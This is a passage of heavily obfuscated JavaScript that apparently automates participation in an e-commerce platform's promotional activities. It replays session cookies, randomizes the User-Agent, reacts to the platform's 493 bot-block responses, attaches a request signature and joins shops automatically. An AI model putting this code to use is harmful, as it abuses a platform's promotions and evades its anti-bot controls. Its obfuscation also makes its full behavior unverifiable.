__Oxe7fc1[0x90]){_0x6e31x15= 21;_0x6e31x16= 21}}}}};_0x6e31x11= `${__Oxe7fc1[0x60]}${$[__Oxe7fc1[0x1d]]}${__Oxe7fc1[0x6f]}${encodeURIComponent($.Pin)}${__Oxe7fc1[0x78]}${$[__Oxe7fc1[0x43]]}${__Oxe7fc1[0x91]}${_0x6e31x15}${__Oxe7fc1[0x92]}${_0x6e31x16}${__Oxe7fc1[0x0]}`;break;case __Oxe7fc1[0x94]:url= `${__Oxe7fc1[0x0]}${_0x6e31x10}${__Oxe7fc1[0x93]}`;_0x6e31x11= `${__Oxe7fc1[0x60]}${$[__Oxe7fc1[0x1d]]}${__Oxe7fc1[0x6f]}${encodeURIComponent($.Pin)}${__Oxe7fc1[0x78]}${$[__Oxe7fc1[0x43]]}${__Oxe7fc1[0x0]}`;break;case __Oxe7fc1[0x56]:url= `${__Oxe7fc1[0x0]}${_0x6e31x10}${__Oxe7fc1[0x95]}`;_0x6e31x11= `${__Oxe7fc1[0x60]}${$[__Oxe7fc1[0x1d]]}${__Oxe7fc1[0x6f]}${encodeURIComponent($.Pin)}${__Oxe7fc1[0x78]}${$[__Oxe7fc1[0x43]]}${__Oxe7fc1[0x0]}`;break;case __Oxe7fc1[0x97]:url= `${__Oxe7fc1[0x0]}${_0x6e31x10}${__Oxe7fc1[0x96]}`;_0x6e31x11= `${__Oxe7fc1[0x60]}${$[__Oxe7fc1[0x1d]]}${__Oxe7fc1[0x78]}${$[__Oxe7fc1[0x43]]}${__Oxe7fc1[0x6f]}${encodeURIComponent($.Pin)}${__Oxe7fc1[0x0]}`;break;default:console[__Oxe7fc1[0xc]](`${__Oxe7fc1[0x98]}${_0x6e31xf}${__Oxe7fc1[0x0]}`)}; await $[__Oxe7fc1[0x42]](500);let _0x6e31x17=getPostRequest(url,_0x6e31x11,_0x6e31x12);return new Promise(async (_0x6e31x18)=>{$[__Oxe7fc1[0x9c]](_0x6e31x17,(_0x6e31x19,_0x6e31x1a,_0x6e31x1b)=>{try{setActivityCookie(_0x6e31x1a);if(_0x6e31x19){if(_0x6e31x1a&& typeof _0x6e31x1a[__Oxe7fc1[0x99]]!= __Oxe7fc1[0x9a]){if(_0x6e31x1a[__Oxe7fc1[0x99]]== 493){console[__Oxe7fc1[0xc]](__Oxe7fc1[0x38]);$[__Oxe7fc1[0x3]]= true}};console[__Oxe7fc1[0xc]](`${__Oxe7fc1[0x0]}${$[__Oxe7fc1[0x2e]](_0x6e31x19,_0x6e31x19)}${__Oxe7fc1[0x0]}`);console[__Oxe7fc1[0xc]](`${__Oxe7fc1[0x0]}${_0x6e31xf}${__Oxe7fc1[0x9b]}`)}else {dealReturn(_0x6e31xf,_0x6e31x1b)}}catch(e){console[__Oxe7fc1[0xc]](e,_0x6e31x1a)}finally{_0x6e31x18()}})})}async function dealReturn(_0x6e31xf,_0x6e31x1b){let _0x6e31x1d=__Oxe7fc1[0x0];try{if(_0x6e31xf!= __Oxe7fc1[0x3e]|| _0x6e31xf!= __Oxe7fc1[0x76]){if(_0x6e31x1b){_0x6e31x1d= JSON[__Oxe7fc1[0x9d]](_0x6e31x1b)}}}catch(e){console[__Oxe7fc1[0xc]](`${__Oxe7fc1[0x0]}${_0x6e31xf}${__Oxe7fc1[0x9e]}`);console[__Oxe7fc1[0xc]](_0x6e31x1b);$[__Oxe7fc1[0x9f]]= false};try{switch(_0x6e31xf){case __Oxe7fc1[0x34]:if( typeof _0x6e31x1d== __Oxe7fc1[0xa0]){if(_0x6e31x1d[__Oxe7fc1[0xa1]]== 0){if( typeof _0x6e31x1d[__Oxe7fc1[0xa2]]!= __Oxe7fc1[0x9a]){$[__Oxe7fc1[0x32]]= _0x6e31x1d[__Oxe7fc1[0xa2]]}}else {if(_0x6e31x1d[__Oxe7fc1[0xa3]]){console[__Oxe7fc1[0xc]](`${__Oxe7fc1[0xa4]}${_0x6e31x1d[__Oxe7fc1[0xa3]]|| __Oxe7fc1[0x0]}${__Oxe7fc1[0x0]}`)}else {console[__Oxe7fc1[0xc]](_0x6e31x1b)}}}else {console[__Oxe7fc1[0xc]](_0x6e31x1b)};break;case __Oxe7fc1[0x3b]:if( typeof _0x6e31x1d== __Oxe7fc1[0xa0]){if(_0x6e31x1d[__Oxe7fc1[0xa5]]&& _0x6e31x1d[__Oxe7fc1[0xa5]]=== true){if( typeof _0x6e31x1d[__Oxe7fc1[0xa6]][__Oxe7fc1[0x39]]!= __Oxe7fc1[0x9a]){$[__Oxe7fc1[0x39]]= _0x6e31x1d[__Oxe7fc1[0xa6]][__Oxe7fc1[0x39]]};if( typeof _0x6e31x1d[__Oxe7fc1[0xa6]][__Oxe7fc1[0x3a]]!= __Oxe7fc1[0x9a]){$[__Oxe7fc1[0x3a]]= _0x6e31x1d[__Oxe7fc1[0xa6]][__Oxe7fc1[0x3a]]}}else {if(_0x6e31x1d[__Oxe7fc1[0xa7]]){console[__Oxe7fc1[0xc]](`${__Oxe7fc1[0x0]}${_0x6e31xf}${__Oxe7fc1[0xa8]}${_0x6e31x1d[__Oxe7fc1[0xa7]]|| __Oxe7fc1[0x0]}${__Oxe7fc1[0x0]}`)}else {console[__Oxe7fc1[0xc]](`${__Oxe7fc1[0x0]}${_0x6e31xf}${__Oxe7fc1[0xa8]}${_0x6e31x1b}${__Oxe7fc1[0x0]}`)}}}else {console[__Oxe7fc1[0xc]](`${__Oxe7fc1[0x0]}${_0x6e31xf}${__Oxe7fc1[0xa8]}${_0x6e31x1b}${__Oxe7fc1[0x0]}`)};break;case __Oxe7fc1[0x3c]:if( typeof _0x6e31x1d== __Oxe7fc1[0xa0]){if(_0x6e31x1d[__Oxe7fc1[0xa5]]&& _0x6e31x1d[__Oxe7fc1[0xa5]]=== true){if(_0x6e31x1d[__Oxe7fc1[0xa6]]&& typeof _0x6e31x1d[__Oxe7fc1[0xa6]][__Oxe7fc1[0xa9]]!= __Oxe7fc1[0x9a]){$[__Oxe7fc1[0x33]]= _0x6e31x1d[__Oxe7fc1[0xa6]][__Oxe7fc1[0xa9]]};if(_0x6e31x1d[__Oxe7fc1[0xa6]]&& typeof _0x6e31x1d[__Oxe7fc1[0xa6]][__Oxe7fc1[0x73]]!= __Oxe7fc1[0x9a]){$[__Oxe7fc1[0x73]]= _0x6e31x1d[__Oxe7fc1[0xa6]][__Oxe7fc1[0x73]]}}else {if(_0x6e31x1d[__Oxe7fc1[0xa7]]){console[__Oxe7fc1[0xc]](`${__Oxe7fc1[0x0]}${_0x6e31xf}${__Oxe7fc1[0xa8]}${_0x6e31x1d[__Oxe7fc1[0xa7]]|| __Oxe7fc1[0x0]}${__Oxe7fc1[0x0]}`)}else {console[__Oxe7fc1[0xc]](`${__Oxe7fc1[0x0]}${_0x6e31xf}${__Oxe7fc1[0xa8]}${_0x6e31x1b}${__Oxe7fc1[0x0]}`)}}}else {console[__Oxe7fc1[0xc]](`${__Oxe7fc1[0x0]}${_0x6e31xf}${__Oxe7fc1[0xa8]}${_0x6e31x1b}${__Oxe7fc1[0x0]}`)};break;case __Oxe7fc1[0x3f]:if( typeof _0x6e31x1d== __Oxe7fc1[0xa0]){if(_0x6e31x1d[__Oxe7fc1[0xa5]]&& _0x6e31x1d[__Oxe7fc1[0xa5]]=== true){if(_0x6e31x1d[__Oxe7fc1[0xa6]]&& typeof _0x6e31x1d[__Oxe7fc1[0xa6]][__Oxe7fc1[0xaa]]!= __Oxe7fc1[0x9a]){$[__Oxe7fc1[0x71]]= _0x6e31x1d[__Oxe7fc1[0xa6]][__Oxe7fc1[0xaa]]|| __Oxe7fc1[0xab]}}else {if(_0x6e31x1d[__Oxe7fc1[0xa7]]){console[__Oxe7fc1[0xc]](`${__Oxe7fc1[0x0]}${_0x6e31xf}${__Oxe7fc1[0xa8]}${_0x6e31x1d[__Oxe7fc1[0xa7]]|| __Oxe7fc1[0x0]}${__Oxe7fc1[0x0]}`)}else {console[__Oxe7fc1[0xc]](`${__Oxe7fc1[0x0]}${_0x6e31xf}${__Oxe7fc1[0xa8]}${_0x6e31x1b}${__Oxe7fc1[0x0]}`)}}}else {console[__Oxe7fc1[0xc]](`${__Oxe7fc1[0x0]}${_0x6e31xf}${__Oxe7fc1[0xa8]}${_0x6e31x1b}${__Oxe7fc1[0x0]}`)};break;case __Oxe7fc1[0x40]:if( typeof _0x6e31x1d== __Oxe7fc1[0xa0]){if(_0x6e31x1d[__Oxe7fc1[0xa5]]&& _0x6e31x1d[__Oxe7fc1[0xa5]]=== true){$[__Oxe7fc1[0x31]]= _0x6e31x1d[__Oxe7fc1[0xa6]][__Oxe7fc1[0x31]]|| (_0x6e31x1d[__Oxe7fc1[0xa6]][__Oxe7fc1[0xac]]&& _0x6e31x1d[__Oxe7fc1[0xa6]][__Oxe7fc1[0xac]][__Oxe7fc1[0x31]])|| _0x6e31x1d[__Oxe7fc1[0xa6]][__Oxe7fc1[0xad]][__Oxe7fc1[0x31]]|| 0;$[__Oxe7fc1[0x30]]= _0x6e31x1d[__Oxe7fc1[0xa6]][__Oxe7fc1[0x30]]|| false;$[__Oxe7fc1[0xae]]= _0x6e31x1d[__Oxe7fc1[0xa6]][__Oxe7fc1[0xae]]|| 0;$[__Oxe7fc1[0x43]]= _0x6e31x1d[__Oxe7fc1[0xa6]][__Oxe7fc1[0x43]]|| __Oxe7fc1[0x0];$[__Oxe7fc1[0x55]]= _0x6e31x1d[__Oxe7fc1[0xa6]][__Oxe7fc1[0x55]]|| __Oxe7fc1[0x0];$[__Oxe7fc1[0xaf]]= _0x6e31x1d[__Oxe7fc1[0xa6]][__Oxe7fc1[0xaf]]|| __Oxe7fc1[0x0];$[__Oxe7fc1[0x8e]]= _0x6e31x1d[__Oxe7fc1[0xa6]][__Oxe7fc1[0x8e]]|| __Oxe7fc1[0x0]}else {if(_0x6e31x1d[__Oxe7fc1[0xa7]]){console[__Oxe7fc1[0xc]](`${__Oxe7fc1[0x0]}${_0x6e31xf}${__Oxe7fc1[0xa8]}${_0x6e31x1d[__Oxe7fc1[0xa7]]|| __Oxe7fc1[0x0]}${__Oxe7fc1[0x0]}`)}else {console[__Oxe7fc1[0xc]](`${__Oxe7fc1[0x0]}${_0x6e31xf}${__Oxe7fc1[0xa8]}${_0x6e31x1b}${__Oxe7fc1[0x0]}`)}}}else {console[__Oxe7fc1[0xc]](`${__Oxe7fc1[0x0]}${_0x6e31xf}${__Oxe7fc1[0xa8]}${_0x6e31x1b}${__Oxe7fc1[0x0]}`)};break;case __Oxe7fc1[0x7a]:if( typeof _0x6e31x1d== __Oxe7fc1[0xa0]){if(_0x6e31x1d[__Oxe7fc1[0xa5]]&& _0x6e31x1d[__Oxe7fc1[0xa5]]=== true){$[__Oxe7fc1[0x81]]= _0x6e31x1d[__Oxe7fc1[0xa6]][__Oxe7fc1[0x81]]|| false}else {if(_0x6e31x1d[__Oxe7fc1[0xa7]]){console[__Oxe7fc1[0xc]](`${__Oxe7fc1[0x0]}${_0x6e31xf}${__Oxe7fc1[0xa8]}${_0x6e31x1d[__Oxe7fc1[0xa7]]|| __Oxe7fc1[0x0]}${__Oxe7fc1[0x0]}`)}else {console[__Oxe7fc1[0xc]](`${__Oxe7fc1[0x0]}${_0x6e31xf}${__Oxe7fc1[0xa8]}${_0x6e31x1b}${__Oxe7fc1[0x0]}`)}}}else {console[__Oxe7fc1[0xc]](`${__Oxe7fc1[0x0]}${_0x6e31xf}${__Oxe7fc1[0xa8]}${_0x6e31x1b}${__Oxe7fc1[0x0]}`)};break;case __Oxe7fc1[0x48]:if( typeof _0x6e31x1d== __Oxe7fc1[0xa0]){if(_0x6e31x1d[__Oxe7fc1[0xa5]]&& _0x6e31x1d[__Oxe7fc1[0xa5]]=== true){let _0x6e31x1e=_0x6e31x1d[__Oxe7fc1[0xa6]][__Oxe7fc1[0xb0]]|| [];let _0x6e31x1f=_0x6e31x1d[__Oxe7fc1[0xa6]][__Oxe7fc1[0xb1]]|| [];let _0x6e31x20=_0x6e31x1d[__Oxe7fc1[0xa6]][__Oxe7fc1[0xb2]]|| [];let _0x6e31x21=_0x6e31x1d[__Oxe7fc1[0xa6]][__Oxe7fc1[0xb3]]|| [];let _0x6e31x22=_0x6e31x1d[__Oxe7fc1[0xa6]][__Oxe7fc1[0xb4]]|| [];$[__Oxe7fc1[0x46]]= [..._0x6e31x20,..._0x6e31x1e,..._0x6e31x1f,..._0x6e31x21,..._0x6e31x22];$[__Oxe7fc1[0x47]]= _0x6e31x1d[__Oxe7fc1[0xa6]][__Oxe7fc1[0x47]]|| _0x6e31x1d[__Oxe7fc1[0xa6]][__Oxe7fc1[0xb5]]|| false;$[__Oxe7fc1[0xb6]]= _0x6e31x1d[__Oxe7fc1[0xa6]][__Oxe7fc1[0xb7]]|| 0;$[__Oxe7fc1[0xb8]]= _0x6e31x1d[__Oxe7fc1[0xa6]][__Oxe7fc1[0xb9]]|| 0;$[__Oxe7fc1[0xba]]= _0x6e31x1d[__Oxe7fc1[0xa6]][__Oxe7fc1[0xae]]|| 0;if(_0x6e31x1d[__Oxe7fc1[0xa6]][__Oxe7fc1[0xbb]]|| _0x6e31x1d[__Oxe7fc1[0xa6]][__Oxe7fc1[0xbc]]){console[__Oxe7fc1[0xc]](`${__Oxe7fc1[0xbd]}${_0x6e31x1d[__Oxe7fc1[0xa6]][__Oxe7fc1[0xbb]]|| _0x6e31x1d[__Oxe7fc1[0xa6]][__Oxe7fc1[0xbc]]}${__Oxe7fc1[0xbe]}`)}}else {if(_0x6e31x1d[__Oxe7fc1[0xa7]]){console[__Oxe7fc1[0xc]](`${__Oxe7fc1[0x0]}${_0x6e31xf}${__Oxe7fc1[0xa8]}${_0x6e31x1d[__Oxe7fc1[0xa7]]|| __Oxe7fc1[0x0]}${__Oxe7fc1[0x0]}`)}else {console[__Oxe7fc1[0xc]](`${__Oxe7fc1[0x0]}${_0x6e31xf}${__Oxe7fc1[0xa8]}${_0x6e31x1b}${__Oxe7fc1[0x0]}`)}}}else {console[__Oxe7fc1[0xc]](`${__Oxe7fc1[0x0]}${_0x6e31xf}${__Oxe7fc1[0xa8]}${_0x6e31x1b}${__Oxe7fc1[0x0]}`)};break;case __Oxe7fc1[0x7d]:;case __Oxe7fc1[0x55]:;case __Oxe7fc1[0x8b]:;case __Oxe7fc1[0x8c]:;case __Oxe7fc1[0x8e]:;case __Oxe7fc1[0x8d]:;case __Oxe7fc1[0x90]:;case __Oxe7fc1[0x80]:;case __Oxe7fc1[0x81]:;case __Oxe7fc1[0x83]:;case __Oxe7fc1[0x97]:if( typeof _0x6e31x1d== __Oxe7fc1[0xa0]){if(_0x6e31x1d[__Oxe7fc1[0xa5]]&& _0x6e31x1d[__Oxe7fc1[0xa5]]=== true){if( typeof _0x6e31x1d[__Oxe7fc1[0xa6]]== __Oxe7fc1[0xa0]){let _0x6e31xb=__Oxe7fc1[0x0];let _0x6e31x23=__Oxe7fc1[0x97];if(_0x6e31x1d[__Oxe7fc1[0xa6]][__Oxe7fc1[0xbf]]){_0x6e31xb= `${__Oxe7fc1[0x0]}${_0x6e31x1d[__Oxe7fc1[0xa6]][__Oxe7fc1[0xbf]]}${__Oxe7fc1[0xc0]}`};if(_0x6e31x1d[__Oxe7fc1[0xa6]][__Oxe7fc1[0xc1]]){_0x6e31xb+= `${__Oxe7fc1[0xa8]}${_0x6e31x1d[__Oxe7fc1[0xa6]][__Oxe7fc1[0xc1]]}${__Oxe7fc1[0xc2]}`};if(_0x6e31xf== __Oxe7fc1[0x55]){_0x6e31x23= __Oxe7fc1[0xc3];if(_0x6e31x1d[__Oxe7fc1[0xa6]][__Oxe7fc1[0xc4]]&& _0x6e31x1d[__Oxe7fc1[0xa6]][__Oxe7fc1[0xc5]]){_0x6e31xb+= `${__Oxe7fc1[0xc6]}${_0x6e31x1d[__Oxe7fc1[0xa6]][__Oxe7fc1[0xc4]]}${__Oxe7fc1[0xc0]}`}}else {if(_0x6e31xf== __Oxe7fc1[0x90]|| _0x6e31xf== __Oxe7fc1[0x81]){_0x6e31x23= __Oxe7fc1[0xc7]}else {if(_0x6e31xf== __Oxe7fc1[0x8b]){_0x6e31x23= __Oxe7fc1[0xc8]}else {if(_0x6e31xf== __Oxe7fc1[0x8d]){_0x6e31x23= __Oxe7fc1[0xc9]}else {if(_0x6e31xf== __Oxe7fc1[0x8e]){_0x6e31x23= __Oxe7fc1[0xca]}else {if(_0x6e31xf== __Oxe7fc1[0x8c]|| _0x6e31xf== __Oxe7fc1[0x83]){_0x6e31x23= __Oxe7fc1[0xcb]}else {if(_0x6e31xf== __Oxe7fc1[0x80]){_0x6e31x23= __Oxe7fc1[0xcc]}else {_0x6e31xb= _0x6e31x1d[__Oxe7fc1[0xa6]][__Oxe7fc1[0xce]][__Oxe7fc1[0xcd]]== true&& (_0x6e31x1d[__Oxe7fc1[0xa6]][__Oxe7fc1[0xce]][__Oxe7fc1[0x19]]|| __Oxe7fc1[0xcf])}}}}}}};if(!_0x6e31xb){_0x6e31xb= __Oxe7fc1[0xcf]};console[__Oxe7fc1[0xc]](`${__Oxe7fc1[0x0]}${_0x6e31x23}${__Oxe7fc1[0xd0]}${_0x6e31xb|| _0x6e31x1b}${__Oxe7fc1[0x0]}`)}else {console[__Oxe7fc1[0xc]](`${__Oxe7fc1[0x0]}${_0x6e31xf}${__Oxe7fc1[0xa8]}${_0x6e31x1b}${__Oxe7fc1[0x0]}`)}}else {if(_0x6e31x1d[__Oxe7fc1[0xa7]]){$[__Oxe7fc1[0x9f]]= false;console[__Oxe7fc1[0xc]](`${__Oxe7fc1[0x0]}${_0x6e31xf}${__Oxe7fc1[0xa8]}${_0x6e31x1d[__Oxe7fc1[0xa7]]|| __Oxe7fc1[0x0]}${__Oxe7fc1[0x0]}`)}else {console[__Oxe7fc1[0xc]](`${__Oxe7fc1[0x0]}${_0x6e31xf}${__Oxe7fc1[0xa8]}${_0x6e31x1b}${__Oxe7fc1[0x0]}`)}}}else {console[__Oxe7fc1[0xc]](`${__Oxe7fc1[0x0]}${_0x6e31xf}${__Oxe7fc1[0xa8]}${_0x6e31x1b}${__Oxe7fc1[0x0]}`)};break;case __Oxe7fc1[0x94]:if( typeof _0x6e31x1d== __Oxe7fc1[0xa0]){if(_0x6e31x1d[__Oxe7fc1[0xa5]]&& _0x6e31x1d[__Oxe7fc1[0xa5]]=== true){console[__Oxe7fc1[0xc]](`${__Oxe7fc1[0xd1]}`);let _0x6e31x24=0;let _0x6e31x25=0;for(let _0x6e31xa in _0x6e31x1d[__Oxe7fc1[0xa6]]){let _0x6e31x8=_0x6e31x1d[__Oxe7fc1[0xa6]][_0x6e31xa];if(_0x6e31x8[__Oxe7fc1[0xd2]]== __Oxe7fc1[0xd3]&& _0x6e31x8[__Oxe7fc1[0xd4]]&& _0x6e31x8[__Oxe7fc1[0xd5]]){_0x6e31x24++;_0x6e31x25= _0x6e31x8[__Oxe7fc1[0xd2]][__Oxe7fc1[0xd6]](__Oxe7fc1[0xc0],__Oxe7fc1[0x0])}else {console[__Oxe7fc1[0xc]](`${__Oxe7fc1[0x0]}${_0x6e31x8[__Oxe7fc1[0xd2]]}${__Oxe7fc1[0x0]}`)}};if(_0x6e31x24> 0){console[__Oxe7fc1[0xc]](`${__Oxe7fc1[0xd7]}${_0x6e31x24}${__Oxe7fc1[0xd8]}${_0x6e31x24* parseInt(_0x6e31x25,10)|| 0}${__Oxe7fc1[0xc0]}`)}}else {if(_0x6e31x1d[__Oxe7fc1[0xa7]]){console[__Oxe7fc1[0xc]](`${__Oxe7fc1[0x0]}${_0x6e31xf}${__Oxe7fc1[0xa8]}${_0x6e31x1d[__Oxe7fc1[0xa7]]|| __Oxe7fc1[0x0]}${__Oxe7fc1[0x0]}`)}else {console[__Oxe7fc1[0xc]](`${__Oxe7fc1[0x0]}${_0x6e31xf}${__Oxe7fc1[0xa8]}${_0x6e31x1b}${__Oxe7fc1[0x0]}`)}}}else {console[__Oxe7fc1[0xc]](`${__Oxe7fc1[0x0]}${_0x6e31xf}${__Oxe7fc1[0xa8]}${_0x6e31x1b}${__Oxe7fc1[0x0]}`)};break;case __Oxe7fc1[0x56]:if( typeof _0x6e31x1d== __Oxe7fc1[0xa0]){if(_0x6e31x1d[__Oxe7fc1[0xa5]]&& _0x6e31x1d[__Oxe7fc1[0xa5]]=== true&& _0x6e31x1d[__Oxe7fc1[0xa6]]){$[__Oxe7fc1[0xd9]]= _0x6e31x1d[__Oxe7fc1[0xa6]][__Oxe7fc1[0x23]];$[__Oxe7fc1[0xc]](`${__Oxe7fc1[0xda]}${$[__Oxe7fc1[0xd9]]}${__Oxe7fc1[0xdb]}`)}else {if(_0x6e31x1d[__Oxe7fc1[0xa7]]){console[__Oxe7fc1[0xc]](`${__Oxe7fc1[0x0]}${_0x6e31xf}${__Oxe7fc1[0xa8]}${_0x6e31x1d[__Oxe7fc1[0xa7]]|| __Oxe7fc1[0x0]}${__Oxe7fc1[0x0]}`)}else {console[__Oxe7fc1[0xc]](`${__Oxe7fc1[0x0]}${_0x6e31xf}${__Oxe7fc1[0xa8]}${_0x6e31x1b}${__Oxe7fc1[0x0]}`)}}}else {console[__Oxe7fc1[0xc]](`${__Oxe7fc1[0x0]}${_0x6e31xf}${__Oxe7fc1[0xa8]}${_0x6e31x1b}${__Oxe7fc1[0x0]}`)};break;case __Oxe7fc1[0x86]:break;case __Oxe7fc1[0x88]:console[__Oxe7fc1[0xc]](`${__Oxe7fc1[0xdc]}${_0x6e31x1b}${__Oxe7fc1[0x0]}`);break;case __Oxe7fc1[0x8a]:console[__Oxe7fc1[0xc]](`${__Oxe7fc1[0xdd]}${_0x6e31x1b}${__Oxe7fc1[0x0]}`);break;case __Oxe7fc1[0x3e]:break;case __Oxe7fc1[0x76]:break;default:console[__Oxe7fc1[0xc]](`${__Oxe7fc1[0x0]}${_0x6e31xf}${__Oxe7fc1[0xde]}${_0x6e31x1b}${__Oxe7fc1[0x0]}`)};if( typeof _0x6e31x1d== __Oxe7fc1[0xa0]){if(_0x6e31x1d[__Oxe7fc1[0xa7]]){if(_0x6e31x1d[__Oxe7fc1[0xa7]][__Oxe7fc1[0x4f]](__Oxe7fc1[0xdf])> -1){$[__Oxe7fc1[0x2]]= true}}}}catch(e){console[__Oxe7fc1[0xc]](e)}}function getPostRequest(_0x6e31x27,_0x6e31x11,_0x6e31x12= __Oxe7fc1[0x5d]){let _0x6e31x28={"\x41\x63\x63\x65\x70\x74":__Oxe7fc1[0xe0],"\x41\x63\x63\x65\x70\x74\x2D\x45\x6E\x63\x6F\x64\x69\x6E\x67":__Oxe7fc1[0xe1],"\x41\x63\x63\x65\x70\x74\x2D\x4C\x61\x6E\x67\x75\x61\x67\x65":__Oxe7fc1[0xe2],"\x43\x6F\x6E\x6E\x65\x63\x74\x69\x6F\x6E":__Oxe7fc1[0xe3],"\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x54\x79\x70\x65":__Oxe7fc1[0xe4],"\x43\x6F\x6F\x6B\x69\x65":cookie,"\x55\x73\x65\x72\x2D\x41\x67\x65\x6E\x74":$[__Oxe7fc1[0xe5]],"\x58\x2D\x52\x65\x71\x75\x65\x73\x74\x65\x64\x2D\x57\x69\x74\x68":__Oxe7fc1[0xe6]};if(_0x6e31x27[__Oxe7fc1[0x4f]](__Oxe7fc1[0x5c])> -1){_0x6e31x28[__Oxe7fc1[0xe7]]= `${__Oxe7fc1[0xe8]}${$[__Oxe7fc1[0x1d]]}${__Oxe7fc1[0x22]}${$[__Oxe7fc1[0x1f]]}${__Oxe7fc1[0x0]}`;_0x6e31x28[__Oxe7fc1[0xe9]]= `${__Oxe7fc1[0x0]}${lz_jdpin_token_cookie&& lz_jdpin_token_cookie|| __Oxe7fc1[0x0]}${__Oxe7fc1[0x0]}${$[__Oxe7fc1[0x33]]&& __Oxe7fc1[0xea]+ $[__Oxe7fc1[0x33]]+ __Oxe7fc1[0xeb]|| __Oxe7fc1[0x0]}${__Oxe7fc1[0x0]}${activityCookie}${__Oxe7fc1[0x0]}`};return {url:_0x6e31x27,method:_0x6e31x12,headers:_0x6e31x28,body:_0x6e31x11,timeout:30000}}function getCk(){return new Promise((_0x6e31x18)=>{let _0x6e31x2a={url:`${__Oxe7fc1[0xe8]}${$[__Oxe7fc1[0x1d]]}${__Oxe7fc1[0x22]}${$[__Oxe7fc1[0x1f]]}${__Oxe7fc1[0x0]}`,followRedirect:false,headers:{"\x55\x73\x65\x72\x2D\x41\x67\x65\x6E\x74":$[__Oxe7fc1[0xe5]]},timeout:30000};$[__Oxe7fc1[0xef]](_0x6e31x2a,async (_0x6e31x19,_0x6e31x1a,_0x6e31x1b)=>{try{if(_0x6e31x19){if(_0x6e31x1a&& typeof _0x6e31x1a[__Oxe7fc1[0x99]]!= __Oxe7fc1[0x9a]){if(_0x6e31x1a[__Oxe7fc1[0x99]]== 493){console[__Oxe7fc1[0xc]](__Oxe7fc1[0x38]);$[__Oxe7fc1[0x3]]= true}};console[__Oxe7fc1[0xc]](`${__Oxe7fc1[0x0]}${$[__Oxe7fc1[0x2e]](_0x6e31x19)}${__Oxe7fc1[0x0]}`);console[__Oxe7fc1[0xc]](`${__Oxe7fc1[0x0]}${$[__Oxe7fc1[0x19]]}${__Oxe7fc1[0xec]}`)}else {let _0x6e31x2b=_0x6e31x1b[__Oxe7fc1[0x25]](/(活动已经结束)/)&& _0x6e31x1b[__Oxe7fc1[0x25]](/(活动已经结束)/)[0x1]|| __Oxe7fc1[0x0];if(_0x6e31x2b){$[__Oxe7fc1[0x4]]= true;console[__Oxe7fc1[0xc]](__Oxe7fc1[0xed])};$[__Oxe7fc1[0xee]]= _0x6e31x1b[__Oxe7fc1[0x25]](//)[0x1]|| __Oxe7fc1[0x0];$[__Oxe7fc1[0x39]]= _0x6e31x1b[__Oxe7fc1[0x25]](//)[0x1]|| __Oxe7fc1[0x0];setActivityCookie(_0x6e31x1a)}}catch(e){$[__Oxe7fc1[0x17]](e,_0x6e31x1a)}finally{_0x6e31x18()}})})}function setActivityCookie(_0x6e31x1a){if(_0x6e31x1a[__Oxe7fc1[0xf1]][__Oxe7fc1[0xf0]]){cookie= originCookie+ __Oxe7fc1[0xeb];for(let _0x6e31x2d of _0x6e31x1a[__Oxe7fc1[0xf1]][__Oxe7fc1[0xf0]]){lz_cookie[_0x6e31x2d[__Oxe7fc1[0xf3]](__Oxe7fc1[0xeb])[0x0][__Oxe7fc1[0xf4]](0,_0x6e31x2d[__Oxe7fc1[0xf3]](__Oxe7fc1[0xeb])[0x0][__Oxe7fc1[0x4f]](__Oxe7fc1[0xf2]))]= _0x6e31x2d[__Oxe7fc1[0xf3]](__Oxe7fc1[0xeb])[0x0][__Oxe7fc1[0xf4]](_0x6e31x2d[__Oxe7fc1[0xf3]](__Oxe7fc1[0xeb])[0x0][__Oxe7fc1[0x4f]](__Oxe7fc1[0xf2])+ 1)};for(const _0x6e31x2e of Object[__Oxe7fc1[0x8]](lz_cookie)){cookie+= (_0x6e31x2e+ __Oxe7fc1[0xf2]+ lz_cookie[_0x6e31x2e]+ __Oxe7fc1[0xeb])};activityCookie= cookie}}async function getUA(){$[__Oxe7fc1[0xe5]]= `${__Oxe7fc1[0xf5]}${randomString(40)}${__Oxe7fc1[0xf6]}`}function randomString(_0x6e31x9){_0x6e31x9= _0x6e31x9|| 32;let _0x6e31x31=__Oxe7fc1[0xf7],_0x6e31x32=_0x6e31x31[__Oxe7fc1[0x23]],_0x6e31x33=__Oxe7fc1[0x0];for(i= 0;i< _0x6e31x9;i++){_0x6e31x33+= _0x6e31x31[__Oxe7fc1[0xf9]](Math[__Oxe7fc1[0xf8]](Math[__Oxe7fc1[0x41]]()* _0x6e31x32))};return _0x6e31x33}function joinShop(){if(!$[__Oxe7fc1[0x4c]]){return};return new Promise(async (_0x6e31x18)=>{$[__Oxe7fc1[0xfa]]= __Oxe7fc1[0x0];$[__Oxe7fc1[0x4d]]= __Oxe7fc1[0x4e]; await $[__Oxe7fc1[0x42]](1000); await getshopactivityId();let _0x6e31x35=`${__Oxe7fc1[0x0]}`;if($[__Oxe7fc1[0xfa]]){_0x6e31x35= `${__Oxe7fc1[0xfb]}${$[__Oxe7fc1[0xfa]]}${__Oxe7fc1[0x0]}`};let _0x6e31x11=`${__Oxe7fc1[0xfc]}${$[__Oxe7fc1[0x4c]]}${__Oxe7fc1[0xfd]}${$[__Oxe7fc1[0x4c]]}${__Oxe7fc1[0xfe]}${_0x6e31x35}${__Oxe7fc1[0xff]}`;h5st= await geth5st();const _0x6e31x36={url:`${__Oxe7fc1[0x100]}${_0x6e31x11}${__Oxe7fc1[0x101]}${h5st}${__Oxe7fc1[0x0]}`,headers:{'\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x54\x79\x70\x65':__Oxe7fc1[0x102],'\x4F\x72\x69\x67\x69\x6E':__Oxe7fc1[0x103],'\x48\x6F\x73\x74':__Oxe7fc1[0x104],'\x61\x63\x63\x65\x70\x74':__Oxe7fc1[0x105],'\x55\x73\x65\x72\x2D\x41\x67\x65\x6E\x74':$[__Oxe7fc1[0xe5]],'\x63\x6F\x6E\x74\x65\x6E\x74\x2D\x74\x79\x70\x65':__Oxe7fc1[0xe4],'\x43\x6F\x6F\x6B\x69\x65':cookie}};$[__Oxe7fc1[0xef]](_0x6e31x36,async (_0x6e31x19,_0x6e31x1a,_0x6e31x1b)=>{try{let _0x6e31x1d=$[__Oxe7fc1[0x106]](_0x6e31x1b,_0x6e31x1b);if( typeof _0x6e31x1d== __Oxe7fc1[0xa0]){if(_0x6e31x1d[__Oxe7fc1[0x107]]=== true){console[__Oxe7fc1[0xc]](_0x6e31x1d[__Oxe7fc1[0xa3]]);$[__Oxe7fc1[0x4d]]= 